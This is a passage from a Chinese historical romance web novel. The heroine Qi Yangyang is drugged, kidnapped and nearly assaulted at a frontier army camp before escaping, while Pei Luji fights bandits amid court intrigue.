裴陆戟此际被秦相遣往的地方,正是与戚央央如今待的安东县相距不远的锦州静安县军营。 话说,戚央央抵达安东县已经有好一些日子,修竹和沐江恩护送她到此后,就不得不回去复命,沐江恩本来给她留了几个护卫。 但后来,一个护卫收到家书家中有家人生病,她同意了他离去,之后又有一个护卫接到命令先回封州一趟,交代另外一个护卫护好她,并将回家的护卫叫回来。 谁知那么巧合,另外一个护卫也遇上事情,也交代对方护好戚央央,并让对方负责把归家的护卫叫回来,二人彼此留下字条,各自走了,只剩央央一人。 不过央央本来没预想让人守着,倒也不在意。 她在这里用先前荆王给他买天成阁的银子,买了一间小书肆,一个一进的小院子住着。 白天她在书肆里卖卖书,卖卖文房四宝,夜里就一个人回住的地方秉烛写话本,将关于将军沙场百战裹尸,而庙堂之上,朝政之中,却有世家权臣为一私己欲将罪名诬陷之事,写成淋漓尽致的话本故事。 她已经写到第二卷 了,第一卷一经印发出去的时候,立马就引起了反响。 在刚回到她爹祖籍所在地的时候,她也没想过自己除了给父兄立衣冠冢以外,还能替他们做些什么,毕竟冤案涉及世家阴谋争斗,她一个凡人女子,除了必要时帮助荆王外,好像也做不到什么。 直到她在这边听见许多人唾弃、谩骂她父兄的言论。 她没有想到,爹爹和兄长为了守卫家国和平,豁出去牺牲了性命,这些人光凭一些不实的言论,就能空口附和,胡乱认定是她父兄的罪,并大肆谩骂。 既然言论可以由权贵捏造乱传,那么,她又为什么不能如此? 于是她就买下了一个能印发书籍的小书肆,雇了几个人。 如今第一卷 书在坊间引起了强烈反应,已经有不少人反转矛头,开始替她父兄说话,并且将京中某权大势大的官员骂了个狗血淋头。 一开始她只是想替父兄略尽一点绵力,但没想到这册书竟然大卖,连许多不认识字的人,也纷纷聚集到各大小茶肆去听说书先生把这册书润色一下当成话本说资。 她知道一旦故事火了,传到某些权贵耳中,她必然惹祸上身,于是,在第二卷 书写好之前,她迅速将书肆宅子卖掉了,逃往别的县,再想办法将第二册书流传出去。 在出安东县的时候,她在城门附近看见了一些之前从没见过的人,在挨家挨舍查问着什么,她吓得连小摊上的小馄饨也没吃完,就匆匆出了城。 出城后,她就被一个毛贼盯上了,追至一个客栈后,客栈的女主人热情地招待她,并帮她把毛贼引走。 “这附近就是边陲县了,那边是羌北八部的额多尔可汗统领着,所以那边就是大晋的军营,这附近有许多流民和贼匪,便是从边境过来的。” “这边这么乱,那些军营的人都不管管的么?”戚央央问。 “唉,”女掌柜叹道,“那些军爷,平日里来住店吃肉肯交钱就算不错喽,谁还管你这平头老百姓死活的。” 央央蹙眉,她想起以前,爹爹和哥哥们所驻扎之地,那些县郡,只要他们不用打仗,都会负责维护边陲县郡的安危,那时候,她爹爹和哥哥们所到之地,百姓们不但不会害怕,反而打开门户相迎。 哪像她来到这边,偶尔见到一些晋兵在城中逛,百姓神色都十分凝重,怕得不行的样子。 怀着凝重的心思,央央在这间偏僻客栈入住下来,中午的馄饨没吃完,到了晚上,客栈提供的当地菜汤泡饼又不是很合胃口,便没吃多少就躺下。 到了夜里,她抱着包袱躺在榻上,迷迷糊糊之间,听到了一些细微的动静。 听着像是房间门闩被撬起的声音。 还有一些隐隐约约的交谈声: “你不是跟那婆娘聊得挺要好,她挺放心你的了吗?怎么这锁还这么难开,里头被什么东西顶着?推都推不动” “是聊得挺好呀,也告诉她放心我这边有护院聘请,让她安心住的,毕竟是独身女子,谨慎了一下吧” “不不行,完全推不动,得从窗户进去。” 安静了下来。 央央意识知道这里有危险,她得赶紧醒来逃走,但她不知怎地,感觉人困得睁不开眼,身子乏重得像灌了铅。 挣扎着坐起,那边窗户被推动了。 幸亏她早有防备,窗户也被布带缠得死死的,那人蹲在窗边,推了一次没推动,二次没推动,第三次的时候,用尽全力,肩膀猛地撞击。 “啊!!”一声发出惨叫,响彻了整座客栈,幸亏今夜来投栈的人,只有她一个,才没有惊动旁人。 那贼人疼得跌在地上扭曲身子,才发现原来那婆娘用木柜插上小刀,抵在窗户处,人撞进来,小刀就直直刺进胳膊,血流了一路。 而此时,央央用指甲掐自己大腿,也终于将自己掐醒过来,她得感谢自己晚上胃口不佳,没多吃两口泡饼。 踉跄站起,她抱紧怀里的包袱,还想去拿旁边的放着她珍贵收藏品的包袱。 可那贼人已经过来,阴狠地扇了她一巴,直直把她刮得跌倒在地。 听见包袱里发出清脆响动,她知道江恩卿卿送她的碗碎了,她的心也碎了一地。 明白这里荒山野岭,她一个弱女子不能斗得过那二人,于是,忍痛不去捡那放着收藏品的包袱,只护紧怀里装有第二卷 书册手稿的包袱,往窗户方向跑。 那贼人见她抱着包袱要跑,三两步扑过来,扯过她手边的包袱。 戚央央一口银牙咬在了那贼人手腕,疼得踹了她一脚,怒骂:“小娼`妇,牙齿什么做的,咬人这么痛!” 央央被踹到窗边,低头一看,发现怀里的包袱还在,便颤抖腿站起,打算从窗边跳下。 那贼人笑她道:“有本事你跳,这里可是二楼,你一个小娘们,细胳膊细腿的跳下去不死也折腿,最后还不是乖乖被我抓住。” “见你有几分姿色,要是乖些,便给你找个好人家卖去做妾,不送军营当妓子吧。” 戚央央闻言,再没有犹豫,撑着窗台站起,牢牢抱紧包袱,迎着月光溶溶猎猎夜风,衣裙剧烈鼓起,像一只振翅欲飞的纸鸢一样,纵身往下一跃。 第48章 他勾唇冷笑:“若她掉半根发…… 那贼人和女掌柜跑到楼下找了一圈都没找到那跳下去的姑娘, 等二人脚步声走远后,央央才从那棵长在楼阁旁有二层高的大槐树枝干上顺利爬回屋子。 原来,方才她站在窗台边就已经盯准了这棵树, 等跳下去她就立马揪紧包袱抱了上去,等引得屋里的人都跑出去找她, 她才悄悄爬回屋子, 从门口往另外的方向逃。 可是, 她从大树爬回窗子的时候, 怀里的包袱突然“啪”一声掉了下去,惊起了不远处那两个人的注意。 没办法了, 来不及拿回手稿,只能赶紧移开床架, 从楼梯下楼,从后门逃跑。 逃跑的一路上, 她中的那点迷药都已经醒得差不多了, 沿途都是荒山野岭, 她只能卯足劲往密林方向、有可能甩掉那二人的地方跑。 这里林叶茂密, 抬头连天上的月亮都被枝叶遮拦得完全看不见,连一丝光头没透进来, 地上厚厚的枯叶踩在脚下会发出清脆的碎裂声,身后二人追赶的声音逐渐远去。 他们应是也不敢闯入这座有军营驻扎的树林的。 戚央央找了一处背风的地方坐着, 在心里默默祈祷着在天亮之前,千万别让她碰见任何野兽什么的。 身上的包袱全都掉了,银钱没有了, 手稿也不见了,接下来应该怎么办,她得好好想想。 由于今日在城门附近吃的馄饨没有吃完, 客栈里也没吃下多少东西,如今又跑了一路的夜路,腹中早已辘辘。 而目前情况看来,她最好还是乖乖待在一个隐秘的地方,静待天亮比较好。 可是待到半夜的时候,她饿得实在受不了了,林子里的夜晚又比较冷,又饿又冷,冻得哆哆嗦嗦缩着,快要忍受不住了。 恰在这时,一只肥美的、受了伤的野兔从旁经过,勾起了央央肚子里的馋虫。 她忍耐不住终于从藏身的地方,追了上去。 没追到一半的时候,那只兔子就被她抓住了,可她并没有烤来吃,而是从附近摘了野果果腹,顺便在林间找了些草药嚼碎,将裙摆撕成布碎,替小兔子包扎伤处。 包扎完了以后,她将兔子抱入怀里紧紧地捂着。 “对不起,实在是太冷了,就委屈你今晚被我抱一晚取暖啦,明日太阳升起我就放了你。” 她正要抱着小兔返回原先的躲避处,谁料,林中突然闯入了一群擎着火把穿兵服的人。 那些人看见丛林中冒出个娇滴滴裙摆还破了,周身挂彩却不失娇媚的小娘子,看得眼珠子都瞪出来了。 戚央央大感不妙,抱起兔子往相反方向就跑,可是已经来不及了。 三两个兵痞绕到她前面来,嬉皮笑脸朝她扑来,想往后退,后方那群兵也涌过来了。 云影带着人进林的时候,只看见一滩暗红的鲜血,和一只被刀匕贯穿身子扎死在地上的小兔子,那兔子眼睛涣散,气还没消绝,四肢还会一抖一抖的,后腿处缠了半截鹅黄色纱质面料,是戚姑娘的。 沐江恩派去守护戚央央的护卫回来安东县后,发现人不见了,而自己另外的搭档竟然也不约而同留下纸条离开,导致一个守着姑娘的人也没有。 等这些护卫上报给沐江恩,沐江恩慌忙从封州赶到的时候,无论如何都找不到她的消息,急得犹如热锅上蚂蚁。 后来沐江恩听闻裴世子也刚被调到这附近的军营任督师,便派人到军营去试图联系,看有没有什么法子能找到戚央央。 而与此同时,云影正站在世子面前汇禀着情况: “修竹回去后,因为戚姑娘强烈反对,便只能派一人在城外悄悄看顾着,当天值守的是絮影。” “前几天戚姑娘的册子开始大卖的时候,絮影就察觉到不对,知道会有事情发生,于是便短暂离开了一阵到山上发信号找人前来支援,谁也没想到戚姑娘把宅院和铺子卖得这样快,应该都贱卖了,迅速离开了县城。” “请主子恕罪,若是这次我们能多派人手,或者离姑娘近一些的话,兴许就不会发生这些事了,卑职甘愿受罚。” 云影跪下卸下刀剑捧到跟前,领罪道。 其实这次的事确实难以把控,戚央央不愿与裴陆戟牵扯过多,拒绝他的人,倘若派的人多了,被她发现,她可能又会一个人悄悄躲起来,戚姑娘这人鬼精得很,她若是想躲起来,怕是他们整支暗卫队得花耗不少时间去寻,所以只能派一个人,还不能进城。 因为这距离和人手的限制,使得发生一些特发情况时,就相当束手束脚了,以致才会花耗了整整一夜的时间,才寻到她的踪迹。 “那现在人在何处?”裴陆戟问。 “回禀主子,人在樟木林附近被刘校尉的人抓走的,现在被当成孝敬送到校尉榻上,不过刘校尉昨夜进城喝酒,至今未归。” 裴陆戟拧了拧眉。 这静安县的军营仗着屯扎的边防使是秦相的妻弟,跟着宋敞胡作非为,终日在军营花天酒地,无法无天,是百姓之患。 而秦相把他派遣到这个地方当督师,一方面想挫一挫他的锐气,先前秦相要解决掉的官员名单,被他一下全挽回来了,秦兰沁的婚事也一直未提,另一方面,秦相已经对他生了猜忌,让他到这地方来吃吃苦头,试验一下他,如若他经受不住他的试验,那么,兵部尚书的位置只能换人了。 裴陆戟来到这个地方后,虽然是督师身份,但在这个不以明显上下级界分地位,只以势力和后台界定的地方,显然吃尽了苦头,还不能声张,只能默默忍了。 这就是他要保下那些官员的代价。 裴陆戟换下一身沾满泥灰的布衣,撂下锄头,来到刘校尉营外的时候,甚至有几个小兵在阻拦他:“大司马想做什么?这里是刘大人的营,刘大人不在大司马不能硬闯!” 裴陆戟冷脸道:“你也知道我是大司马,是他上峰,上峰收到消息说他私藏违禁品,前来检查也不行吗?” 那些守营小卒被他的气势吓到,明明前几天这位大司马来的时候,锋芒尽敛,铅华洗尽,宋敞说什么,他虽有不满,但都默默消化,他提出的军营军粮不足之事,让军中弟兄到军营后方的荒地开垦农田自个种植,没有人愿意,宋敞也以秦相有命,不得分散损耗兵力为由,拒不执行他的命令。 于是,这位从京城过来的,据说也是大世家出身的大司马,便换上布衣,捋起袖子,自己来干。 堂堂裴氏大族出来的世子,为了拉拢投靠秦相,竟然自贬身价不惜屈于宋敞底下,军营中的人便益发以宋敞为尊,处处留难看不起这位司马大人。 不料,他今天不知怎么了,仿佛换了个人似的,吓得那些小兵两股颤颤,不得不给他让开地方。 “裴大司马,” 裴陆戟正要掀帐进去之际,刘校尉就回来了,在身后叫住他。 “里面只是下属给卑职送的一件小礼物而已,大司马不是这也要查吧?司马大人若喜欢的话,卑职送给你就是了,用得着这样强搜卑职的营帐吗?” 这刘校尉仗着自己侍奉过宋敞几年,深得宋敞的心,便也不怎么将这位朝廷高官放在眼里,自以为自己怎么也算得上跟秦相沾亲带故,那些世家那些京城来的高官都要礼让他三分。 “大司马,女人而已,今晚入帐与卑职同享便是,又不是” “噌”的一声,裴陆戟已经从他腰间顺走了刀剑,锋利的刀刃横在了他的脖子。 他眼神狠戾道:“放不放人?” 刘校尉吓得腿颤,但又不愿在下属面前认怂,生怕日后无人再以他马首是瞻,便强行压下畏惧道:“司司马大人此此言差矣,那是下属买来的妓子,身契在卑职手上,大人再怎么位高,总不能以权谋私,强强抢卑职女人吧?” 裴陆戟手腕一转,锋利的刀刃便贴紧了几分,从刘校尉脖颈处渗出了血。 校尉吓得差点就要认怂之际,宋敞闻声出现了。 “大司马,你这是何意?” “宋将军。” 裴陆戟手中剑松开,刘校尉当场吓得腿间濡湿,摔倒在地,呼吸紧促。 宋敞走近,仔细打量了一下这位京城的裴家公子。 据说他是太子之师,幼时开始就跟在太子身边,如果不是崔家没了,太子需要秦相之力相助的话,他也不必来此边陲之地受罪。 丞相让他过来之前,特地写信嘱托他,要好好盯住裴陆戟,以防他生出二心。 据说他似乎跟寒门六皇子那边也有勾连,秦相担心搬了石头砸自己脚,所以才会小心谨慎,将他发配来这个地方。 “大司马刚来军营,是不熟悉这里的规矩,还是怎么?刘校尉他没有违反军纪,不过是不喜欢用军营里面的,喜欢自带而已,大司马这要杀要打的,倘若传到丞相耳中,恐怕卑职也很难禀述。” 宋敞维护自己人道。 裴陆戟便“锵”一声将剑扔掉。 “宋将军怕交代,那么,倘若裴某替宋将军解决了西面的匪患,是不是就能交代了?” 他这话一出,宋敞果然停顿下来思考了一会。 西面的匪冦大多是异族,是羌人,说是匪冦,实际上跟羌北某部的首领是有关联的。宋敞这些年能在军营保持职务,靠得便是在这些匪冦前来抢粮时,毫不吝啬地给他们抢,事后就搜刮民脂民膏填补。 他当然也想绝了这些匪冦,但是这么一来,就要跟他们硬碰,要真的跟羌北开战了,他怎么敢真的开战? 他不敢出面摆平这些匪冦,但要是由别的人来,失败的话,他还能继续供着粮草讨好,让他们别动他的兵,成功就算他的功劳,这样也好。 “好,既然大司马年少有为,勇于尝试,近期也有新征的士兵,卑职愿拨一百新兵,助大司马一臂之力。” 匪冦占据山头起码上千以上,宋敞才拨一百士兵,而且还是新兵,明显着是不想用自己的精兵,唯恐输了遭匪冦记恨,早早将自己撇得干净,袖手看着他去送死。 不过,裴陆戟当然不会平白送死。 他勾唇冷笑,道:“我还有一条件,我剿匪归来之前,倘若我的人有半分闪失,掉了半根头发丝,我要他——” 他指着地上惊魂未定的刘校尉,一字一字发出让人胆寒的话: “用命来抵。” 第49章 他冷静道:“失败了但凭处置…… “好, ”宋敞不等刘校尉反应,便答应道,“我用刘校尉的项上人头给你保证, 但是如若你剿匪失败,今日吓着了刘校尉, 是不是也得回来给他赔个不是?” 裴陆戟抱拳, 举手投足间都透着沉稳和冷静:“失败了但凭宋将军之言。” “好!” 裴陆戟放完了话, 连身上沾满泥土的衣裳都没换, 就直接套上盔甲率兵前往,身后一百新兵跟随。 沐江恩赶至的时候, 裴陆戟正好领新兵途经帽儿山的山道附近,见有人唤他, 便短暂地停下,等着沐江恩过来。 “裴世子, 烦请借一步说话。” 沐江恩看起来很焦急的样子。 听明白他是因为在安东县失去了与戚央央的联系, 找不到人而想请他帮忙后, 裴陆戟脸色益发黑沉。 “人不见了, 你不会去她的铺子找人问?不会去问买下她铺子的人,不会去问买她宅院的人吗?” “你大概是连她隐姓埋名, 买了书肆和宅院的事都不知道吧?更不会知道她写的书在安东县乃及整个东陵一带引起了多大的反响,风声已经传至京中了, 你不知道她需要逃命吧?” 他黑着脸直接呛道:“你知道的有关她的信息都是两三个月以前的了,你这段时间难道就没有想过去了解她近况过得怎么样吗??” 沐江恩自打护送完戚央央来安东县,与她分别回封州后, 荆王就加派了一个特别重要的任务给他去办,这段时间他一直待在一个难以接触到外界的地方,他能知道时间过去多久就算好了, 根本就分身乏术。 等他赶紧处完这一桩任务,回去联系的时候,负责联系的人却急急忙忙告诉他,戚姑娘断了联系好久了,未明情况,于是他连任务都不得不交予旁人,慌忙赶至,却怎么也找不到人了。 被裴陆戟说了一顿以后,沐江恩低着头,眼眶略红,自责道:“世子骂得好,都是我的错,我千不该万不该!” 说着,他就迎头重重给自己掌刮了一巴。 一巴觉得还不够,他就接连着把自己打得满脸红胀,随后朝裴陆戟跪道:“世子既然对她的情况如此了解,想必一定知道她躲在哪里,求求你,能不能告诉我她在哪里” “不知道。”裴陆戟一跃上马,斩钉截铁道,“只是一次偶然遇上知道一些情况而已。” “那既然世子说,她需要逃命,想来她处境相当危险,能不能请世子多提供一些信息,我得尽快找到她。” “不行。” “我还有更重要的事情去办,而且她不也说过,让我以后别掺和她的事。” “你自己的事,自己去找。” 说着,他打马率兵远离。 西面莱伊山上盘踞的匪冦是羌北九部蒙彻哥汗授意上山的,一方面是用来盯着八部的额多尔,一方面则是盘踞在这边陲山头方便来向晋人敛财。 裴陆戟上山剿匪本来可以用自己的精锐暗卫部队,但宋敞配了兵给他,定然会在这些新兵中安插眼线,他不能让这些人知道这些影澜殿暗卫的存在,这就有些束手束脚了。 此时,被束绑在校尉营中的戚央央,也渐渐醒转,她一醒来就看见旁边坐着一个脑满肠肥的男人,吓得一个挺身想挣扎,却发现手脚皆被绑着,口中被布条塞着。 她回想起自己被抓的那一瞬,目睹自己怀里兔子被刀贯穿雪绒身子倒在血泊的情形,惊惧之下,开始挪动身子想逃走,结果一个不慎从榻上掉下。 她这一掉,可吓煞了那一旁的男人。 男人高呼着蹲下去检查她有没摔伤道:“祖宗!我要拜你,你可千万别磕擦伤自己啊,若你掉半根头发丝,我可真怕啊!” 戚央央见他挨过来,吓得满脸泪水,嘴里被塞只能“唔唔”地呼叫。 刘校尉也没敢用手碰她,她摔了也没敢伸手扶她起来,就蹲在一旁用眼睛仔仔细细将她瞧了一遍,当检查发现她什么地方伤着的时候,他惊叫了一声,跑出营帐。 趁着他跑了出去,央央开始四下寻找可以用的工具,发现旁边架子上放着一把匕首,便扭动身子挪过去。 没多久,刘校尉就带着另一个男人进来了。 “大夫,你快来帮我瞧瞧她手腕那被绳子勒出的伤,能否用药几天内复原无恙?倘若复原不了的话,那我可遭殃” 二人进来正说着话期间,帐后突然又闯入一个男人。 那男人看着一脸凶相,进来推开那提着药匣的人,对旁边武将装扮的人道:“刘校尉,你要不要这么没用?被个毛头小子随口一吓,还真的不敢碰这贱婢了?” “我告诉你,那小子是京城那边下发下来的,宋大人既然让他去剿西面的匪,铁定不会让他活着回来的,你担心个毛线球!” “你这么怂,不若让给我!看你爷爷给你展示一下厉害!”他大手猛地推开刘校尉,就往戚央央身上摸去。 戚央央眼看着他的手朝自己前面鼓囊之处而来,被束绑的双腿猛地蜷起发力,一把踹中那男的要害之处。 只听那胡髯男“嘶”一声吃痛,便大骂着朝央央扑来。 “婊`子!贱人!竟敢踹老子,老子这回让你尝尝厉害!” 刘校尉见容炳这家伙不听教,还一意孤行的样子,想起那女的手腕处被勒的伤,想着与其等那裴大司马知道后杀了他,还不如现在就将这祸害,转移到容炳身上。 于是,他扶起大夫,悄悄地朝大夫比了个“禁口”的手势,拉着他出营帐,将帐子放下又在外头堆了许多防声音传出的沙袋,并派人将营帐口严守起来。 戚央央好不容易终于用刀匕将自己手上的绳索割开,当胡髯男扬手朝她挥来拿下,她恰好举匕直扎中他的手,吐掉口中布条,随后双手猛一用力,“噗”一声将刀刃拔出,血一下子溅了她一头一脸。 她吓得腿抖,但没时间让她害怕了,她一边“啊啊”哭叫着给自己壮胆,一边不断往胡髯男子身上戳洞。 云影的人就伏在军营附近,一早便知晓了刘校尉营帐里的动静,连他带人走出帐子,在外头堆沙袋都知道。 可这里毕竟是军营,他们不能擅闯被秦相的人发现,只能伏在营地附近,见机行事。 “贱婢!!你敢扎我?!”容炳往武器架上抽了一柄三尺长的大刀,毫不留情地拖着要朝戚央央身上劈来。 央央好不容易将脚踝处的绳子也割开,满手都是血污,眼睛也被血溅得模糊,当她抬头,看见那男人举起大刀朝她劈来,她吓得一下子在地上翻滚,那刀竟直直扎进泥地半尺,可见是下了死手的。 她不能让自己死在这里。 她心想。 她还有书稿要寻回来,纵然她力量卑微难以扭转朝堂事,替父兄洗刷冤屈,但至少至少 至少她尽自己能力,将父兄生前所做之事,攥写成这些书册,她想让百姓都明白,都知道,她父兄绝对不是贪军粮饷,吸食老百姓血汗钱的奸佞!! 她一定一定要活下来! 如此一想,她卯足了最后的劲儿,往帐子外跑去,却发现营帐门口被什么东西垒成墙堵死了。 眼看着那胡髯男从地上拔出了刀,再次朝她砍来。 云影让人把地上挖开,塞入牛皮气囊,静静地倾听着刘校尉营中的动静。 他也十分焦急,不能在军营中引起动静,但如若戚姑娘遭遇不测,他们难辞其咎,但凡戚姑娘能将人引离军营,他们也好办事得多。 正想着的时候,只见营帐口那边的沙袋被人砍破了,偌高的一面沙袋墙,顷刻“哗啦”一声倾塌,扬起一阵沙雾。 里面有女子赤着足,头发披散,满脸血污地从黄雾中爬出,身后隐约有名大汉持刀还在追着她。 “你们快给我抓住那贱人!重重有赏!” 营帐外守着的士兵见状,连忙扑过去要抓人。 一群军营中的大老爷们,不去前线保家卫国,却独独在军营里恃强凌弱,一群男人追着一个弱质女流抓着欺负。 正当他们将戚央央围堵住,即将抓住她之际,旁边沙袋不知被什么东西刺破,“哗啦啦”一声又倒塌了。 央央机警,连忙绕着旁边逃,她一边跑,她旁边的沙袋便一边倒塌。 容炳也是从世家之中出来的纨绔子弟,心性极傲,那里遭受过此等在女子面前吃瘪的情况?他气性一上来,便不管不顾揪着戚央央,非要毁掉她不可。 戚央央无助地看着这群军营里的恶魔,他们一个个有气力有能力,却不是像她父兄一样去保家卫国,守护百姓,反而在军营里看着她被一个恶鬼欺负,却冷眼旁观,谁也不出手来救她。 她只能拼尽最后一口气,逃出这军营。 可军营哪是好逃走的? 没多久,她就摔倒在军营门口,流着泪看着身后的人朝自己追来。 可就在此时,天上突然下起了一阵箭雨,有敌军埋伏在附近!所有人居然事前半点动静都没有察觉到。 鸣钟响起,所有战士拿起武器,加强戒备,宋敞也赶到了。 可奇怪的是,那场箭雨下过一阵就销声匿迹了,而且,竟全都精准刺中同一个人。 宋敞来到的时候,看着被箭刺得内脏都脱腔了,死状凄惨的容炳,不禁动怒起来,“刘校尉呢??” 而与此同时,那女子也在那阵箭雨之后,离奇消失在军营中。 第50章 他的手似乎也快承受不住了…… 裴陆戟领兵来到莱伊山, 找出了匪冦窝藏之处,打算率兵从匪冦藏粮之地突围。 可此趟统领新兵的百夫长卢奕考突然拒绝道:“回禀大司马,此趟突围, 以卑职看来实在太过冒进,我们麾下都是新招不久的新兵, 不能因此全部丧命于这次的剿匪中啊!” “守在此处等入夜后再攻, 并不冒进。”裴陆戟冷道。 “可匪冦人数众多, 入夜后我们也看不清楚状况, 恐怕险难重重,还望大司马三思。” 来此莱伊山的时候, 裴陆戟策划过多条突围的路线,皆被这小小的百夫长卢奕考给跳出来拒绝, 他明白这就是宋敞派出来的人。 依这情况看来,宋敞给他拨的这一百新兵, 敢情是一百个用来摆设用的装饰, 还有一百双监视着他行动的眼睛。 他气笑了, 手上随意往旁边一指, “如此,哪里凉快哪里待去, 我一个人去剿匪,你们藏好了, 可千万别跑出来送死。” 卢奕考连忙道:“不妥,我等是听令于大司马的,怎能让大司马独自一人去剿匪, 这” 裴陆戟目光凌如刀锋似的看着他,吓得他慌忙改口,道:“那那大司马一个人要小心” 裴陆戟抽走卢奕考怀里的帕子擦拭自己手中的长剑, 一边擦拭,一边抿唇笑着看着卢奕考,直到把他看得心里发毛,道: “百夫长记得,带领手足们从后头藏好了,如若被我发现你们跑进去一个” “我可能就要把他当匪冦斩杀了。” 等他说完,卢奕考腿都软了。 帕子扔回他脸上,裴陆戟负剑,孤狼似的前行。 入夜后匪冦窝戒备松弛,裴陆戟便趁这时机带影澜殿暗卫一举闯了进去。 在他领兵上山的同时,残影也已经在另外的山道安排人上山潜伏,只等主子一声令下,立马就能行动。 影澜殿里的暗卫杀手全都是裴陆戟一手一脚训练出来的,个个勇冠三军,以一敌百,全是精锐。 一整个晚上,山巅之上的夜空都被染成黑红色,浓重的血味腥重得让人作呕。 宋敞虽然同意让大司马领兵前来剿匪,但莱伊山上的匪冦乃是宋将军催命符,一旦有个风吹草动,杀不死,那将会给他带来无求无尽的祸患。 与其赌一个世家出身,锦绣堆里长大连刀都握不紧的小白脸能歼灭这些匪冦,还不如他先一步来个釜底抽薪,将其绝灭在里头。 于是,秦道忠的人闻讯而来了。 那会儿天都快亮了,裴陆戟和影澜殿杀手已经快将全部粮饷夺回,眼见匪冦剩下不到几百了。 首先意识到秦道忠的人来的是残影。 他从高高一垒尸首中跳下来,握着已然砍得卷刃的刀,回禀主子道:“是苍龙杀手,而且数量是我们两倍以上。” 裴陆戟反手给残影身后的匪徒一刀刺,血溅在了他眼眉,刀光下,潋滟如地狱里的红莲。 他吁叹着接过残影递来的帕子,慢慢拭擦着满脸的血迹,这期间又有三两匪冦从后袭击,被他转身横剑一扫。 “赶紧,率领大家从后面的山道撤退,秦道忠此次要来抓证据的,只要没有证据被他揪住,他奈何不了。” 裴陆戟一面迎敌,一面给残影他们肃清一条道路。 众人皆以为,京城第一公子是文官,又是世家子弟,印象中就是一名风流羸弱的才子,不会武功。 但大家都不曾记得,他也是跟着太子去剿过几次匪的,而江湖中让人闻风丧胆的影澜殿杀手,皆是出自他手亲自培养,传闻江湖有个杀人如麻的大魔头段宏飞,曾收他为徒,教过他一段时日的武艺。 “主子!”残影估摸算着匪冦人数已经不足百人,但主子的手似乎也快承受不住了。 “主子你的手!在流血!” 左手有时候难以使出招数,偶尔还是得依靠右手来,但显然右手的手伤已经不足以让他再继续了,旧伤处再度裂开,有汩汩血流不断流出。 在这种情况下,秦道忠的人来了,为了不让他们发现影澜殿的人,只能撤退,但如此一来,这里只有主子一人,怕是 “全员听令!赶紧撤退!”裴陆戟又一剑直接将后方三个匪冦穿刺在一起,吼声道。 再不撤退怕是来不及了,残影只能尽力再杀掉一些,然后率暗卫队撤退。 峰峦起伏偌大一个山头,顷刻只剩裴陆戟一人,对抗着剩余已经不足一百的匪冦。 这注定是场惨烈的战斗,尤其是,在他手伤严重已经快握不起一把剑时,又还是,秦道忠他率那些苍龙杀手,名义上是来帮忙,实际却是来观战。 他知道他们的人来了,就在山坡上观看着,却始终不出手,作壁上观。 天边浮起一线光芒,天亮了,他从暮色开始蛰伏,设局,继而率领死士进攻,深陷倥偬,没有一刻的休顿和停下。 他原先带着的长剑早已砍钝了,就又抽走躺下的弟兄的剑,无休止地弑杀和屠戮,像个冰冷而没有感情的恶鬼。 手砍得麻了,血便也冷了,沾染上无尽的杀戮之气,天光大白之前,他这样的恶鬼,只身从地狱爬出来,便也只能爬回地狱去。 血还在不断流着,手却已经冷了,快要握不住刀剑了,不远处又有三两个匪冦拼尽最后一丝气力与他鱼死网破,眼看剑从手中被甩出去,又为了把命活下去,不得不踉跄着,奋力从腹下被刺的地方,拔出一把剑,继续往前厮杀。 谁也没想到,这长得白面无须的玉贵公子,发起狠来竟这样可怖,也没想到,他身上明明受了那么重的伤,竟能咬牙忍到现在,让人不得不思考,此人到底有着什么样的过往,才锻炼出如此心性。 耳鸣得已经越发厉害了,腹部血流不止,眼睛处被溅得一片血雾,再不赶紧解决掉这些人,怕他也难以活命了。 可他很清楚自己已是强弩之末,能支撑到现在已经不错了。 于是,他收剑安静下来,那些匪冦见他这样,反倒更忌惮起来。 “哈哈哈,你们来呀”他突然笑了起来,“在我身后,还有一片顶尖的杀手,你们若敢再往前一步,看看是你们的剑快,还是他们的箭快。” 看着他这样子,那些匪冦反倒是不敢再往前,不敢轻举妄动了。 短暂的休歇,让他得以喘口气,迅速积蓄气力。 等那些匪冦果真看见了他身后那一片苍龙杀手,决定撤逃,他已经休整好状态,举剑追前猛地一扫! 又一轮恶斗,等那些匪冦看清楚,他身后那些杀手看来是来看戏而并不打算出手助他时,已经太迟了。 匪冦被他杀至只剩一两个,而他也已经被血水浸泡得快睁不开眼,快站不起来。 还剩还剩一个漏网之鱼的了 不能不能让其逃了一旦被逃,山上所发生的一切,必定被九部的蒙彻哥汗知道,他们很快会以此作为借口联合八部进攻的,照如今宋敞手底下的那些兵,绝对是不堪重用的,还有就是山上所掠夺的军饷,如今尚未找到,只要仍未找到,就会被蒙彻哥汗将这些罪孽滔天的匪冦洗白成良民,从而就有了很好的由发兵。 他拖着浑身都是血的身体,血修罗一般,朝着那同样受了重伤的匪冦头子,一步步走去。 匪冦头子以为他不能动了,谁知他竟能在血泊中重新站起,心中惊骇万分,执剑猛地朝他刺去。 这一次,他没有躲开,剑刺中他肩胛骨,他嘴边溢出血,笑着,用短匕直往他后心脏窝 可他的刀匕还没落下,秦道忠的苍龙杀手的剑,便先一步刺进匪冦头子的身体。 最后一名匪冦成功歼杀,秦道忠站到了他面前,皂靴洁净,不曾沾染半分血腥,就这么高高在上地踩到了他面前,居高临下道:“让裴世子你受惊了,在下若再晚来一步,恐怕世子已命丧黄泉,下回世子切记不可再如此冒进了。” 裴陆戟笑了,笑得前俯后仰,哈哈大笑,像是听见一个多么好笑的笑话。 秦道忠也不禁皱紧了眉。 他停止笑,“锵”一声,猛地扔掉了手中那把差点就能手刃匪冦的短匕。 “秦先生来得好生是时候啊,再晚一点就只能往尸首上补刀了。” 他用手指揩擦掉一点笑出的眼泪,秦道忠也被他说得脸色发黑。 “世子受伤如此严重,还是不要再逞强说话了,来人,把世子带下去治疗伤势吧。” 裴陆戟伤得确实有些惨,所幸的是,那些剑伤都并无伤及他脏器和要害处,只是失血过多,让他短暂陷入了昏迷,躺了两天之后才慢慢醒转。 在裴陆戟昏迷的这两天里,刘校尉天天胆战心惊,害怕得吃不下睡不着,并且对当初将那女子的伤转嫁容炳的事悔得肠子都青了。 他这段时间忙着到军营外面去搜掠不同的美人回来,期望能有一个让他看上的,能忘了那位已然不知所踪的姑娘。 裴陆戟昏迷期间,戚央央被云影敲晕从军营中带出,放在了沐江恩一行人回去的必经之地。 沐江恩发现她的时候,已经有一些附近的流氓看见她,准备将人带回去。 戚央央也是在这个时候醒来,看见旁边对她动手动脚的流氓,吓得大喊“沐大哥”,而她的沐大哥便恰在此时挺身而出,替她打跑了所有流氓。 央央泪眼模糊,看着站她面前高大伟岸的男子,哭得一把泪水一把鼻涕:“沐沐大哥,你终于来了!” 